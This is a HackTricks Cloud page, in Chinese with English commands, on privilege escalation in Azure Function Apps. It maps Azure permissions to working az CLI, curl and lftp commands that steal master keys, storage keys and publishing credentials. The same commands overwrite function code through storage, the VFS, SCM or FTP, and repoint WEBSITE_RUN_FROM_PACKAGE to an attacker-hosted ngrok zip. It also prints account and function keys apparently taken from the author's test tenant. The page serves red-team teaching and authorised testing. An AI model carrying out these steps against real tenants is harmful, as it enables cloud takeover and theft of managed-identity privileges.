Az - Functions App Privesc

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

Function Apps

查看以下页面以获取更多信息：

Az - Function Apps

Bucket Read/Write

如果有权限读取存储函数数据的存储帐户中的容器，可以找到 不同的容器（自定义或预定义名称），这些容器可能包含 函数执行的代码。

一旦找到函数代码的位置，如果对其具有写入权限，可以使函数执行任何代码，并提升到附加到函数的托管身份的权限。

• File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING 和 WEBSITE_CONTENTSHARE)

函数的代码通常存储在文件共享中。拥有足够的访问权限后，可以修改代码文件并 使函数加载任意代码，从而提升到附加到函数的托管身份的权限。

这种部署方法通常配置 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING 和 WEBSITE_CONTENTSHARE 的设置，您可以从

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

这些配置将包含 Storage Account Key，函数可以使用它来访问代码。

只要有足够的权限连接到文件共享并 修改正在运行的脚本，就可以在函数中执行任意代码并提升权限。

以下示例使用 macOS 连接到文件共享，但建议还查看以下页面以获取有关文件共享的更多信息：

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"

• function-releases (WEBSITE_RUN_FROM_PACKAGE)

在函数应用使用的存储帐户容器的文件夹 function-releases 中，通常也会发现 zip 发布。

通常，这种部署方法会在以下位置设置 WEBSITE_RUN_FROM_PACKAGE 配置：

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

这个配置通常会包含一个 SAS URL 以下载 存储账户中的代码。

只要有足够的权限连接到 包含代码的 zip 的 blob 容器，就可以在函数中执行任意代码并提升权限。

• github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

就像在前一个案例中一样，如果通过 Github Actions 进行部署，可以在存储账户中找到包含代码 zip 的文件夹 github-actions-deploy 和设置 WEBSITE_RUN_FROM_PACKAGE 中的 zip 的 SAS URL。

• scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING 和 WEBSITE_CONTENTSHARE)

只要有权限读取存储函数数据的存储账户中的容器，就可以找到容器 scm-releases。在这里可以找到最新的 Squashfs 文件系统文件格式 的发布，因此可以读取函数的代码：

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

也可以在存储帐户的容器 azure-webjobs-secrets 中找到存储的 master 和 functions keys，这些密钥位于 <app-name> 文件夹中的 JSON 文件内。

只要有足够的权限连接到 包含 zip 扩展文件的 blob 容器（实际上是一个 squashfs），就可以在 Function 中执行任意代码并提升权限。

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

此权限允许列出指定函数的功能、主密钥和系统密钥，但不包括主机密钥：

az functionapp keys list --resource-group <res_group> --name <func-name>

使用主密钥也可以通过以下URL获取源代码：

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

并且要更改正在执行的代码在函数中：

# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

此权限允许获取指定函数的主密钥：

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

此权限允许创建/更新指定函数的函数密钥：

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

此权限允许为指定的函数创建/更新主密钥：

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

请记住，使用此密钥您还可以访问源代码并按前面所述进行修改！

Microsoft.Web/sites/host/systemKeys/write

此权限允许为指定的函数创建/更新系统函数密钥：

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

此权限允许获取函数的设置。在这些配置中，可能会找到默认值 AzureWebJobsStorage 或 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING，其中包含一个 访问函数的 blob 存储的帐户密钥，具有完全权限。

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

此外，此权限还允许获取 SCM 用户名和密码（如果启用）：

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

这些权限允许列出函数的配置值，如我们之前所见，并且修改这些值。这很有用，因为这些设置指示了要在函数内部执行的代码的位置。

因此，可以设置**WEBSITE_RUN_FROM_PACKAGE**的值，指向包含要在Web应用程序内部执行的新代码的URL zip文件：

• 首先获取当前配置

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>

• 创建您希望函数运行的代码并公开托管它

# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000

• 修改函数，保留之前的参数，并在最后添加配置 WEBSITE_RUN_FROM_PACKAGE 指向包含代码的 zip 的 URL。

以下是我的 自定义设置，您需要更改为您自己的值，请注意最后的值 "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"，这就是我托管应用的地方。

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

拥有此权限后，可以通过网络控制台（或通过以下API端点）修改应用程序的代码：

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

此权限允许列出所有发布配置文件，这基本上包含基本身份验证凭据：

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

另一个选项是设置您自己的凭据并使用它们：

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'

• 如果REDACTED凭据

如果您看到这些凭据是REDACTED，那是因为您需要启用SCM基本身份验证选项，为此您需要第二个权限（Microsoft.Web/sites/basicPublishingCredentialsPolicies/write）：

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}

• 方法 SCM

然后，您可以使用这些 基本身份验证凭据访问您的函数应用的 SCM URL 并获取环境变量的值：

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

请注意，SCM 用户名 通常是字符 "$" 后跟应用名称，因此：$<app-name>。

您还可以通过 https://<app-name>.scm.azurewebsites.net/BasicAuth 访问网页。

设置值包含存储函数应用数据的存储帐户的 AccountKey，允许控制该存储帐户。

• 方法 FTP

使用以下方式连接到 FTP 服务器：

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Note that the FTP username is usually in the format <app-name>\$<app-name>.

Microsoft.Web/sites/publish/Action

根据文档，此权限允许在SCM服务器内部执行命令，这可能用于修改应用程序的源代码：

az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug

Microsoft.Web/sites/hostruntime/vfs/read

此权限允许通过 VFS 读取应用程序的源代码：

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

拥有此权限可以获取 管理员令牌，该令牌可以用于检索 主密钥，从而访问和修改函数的代码：

# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

此权限允许启用可能被禁用的函数（或禁用它们）。

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

可以在以下URL中查看函数是否启用或禁用（使用括号中的权限）：

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

拥有这些权限可以修改由配置为运行容器的函数应用程序运行的容器。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub（例如）并使该函数执行它。

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

拥有这些权限可以将新的用户管理身份附加到函数。如果该函数被攻破，这将允许将权限提升到任何用户管理身份。

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

远程调试

也可以连接以调试正在运行的 Azure 函数，如 文档中所述。但是，默认情况下，Azure 会在开发者忘记关闭以避免留下易受攻击的配置的情况下，在 2 天内将此选项关闭。

可以通过以下方式检查函数是否启用了调试：

az functionapp show --name <app-name> --resource-group <res-group>

拥有权限 Microsoft.Web/sites/config/write 也可以将函数置于调试模式（以下命令还需要权限 Microsoft.Web/sites/config/list/action、Microsoft.Web/sites/config/Read 和 Microsoft.Web/sites/Read）。

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

更改 Github 仓库

我尝试通过执行以下命令更改部署发生的 Github 仓库，但即使它确实更改了，新代码并未加载（可能是因为它期望 Github Action 更新代码）。 此外，托管身份联合凭证未更新以允许新仓库，因此看起来这并不是很有用。

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。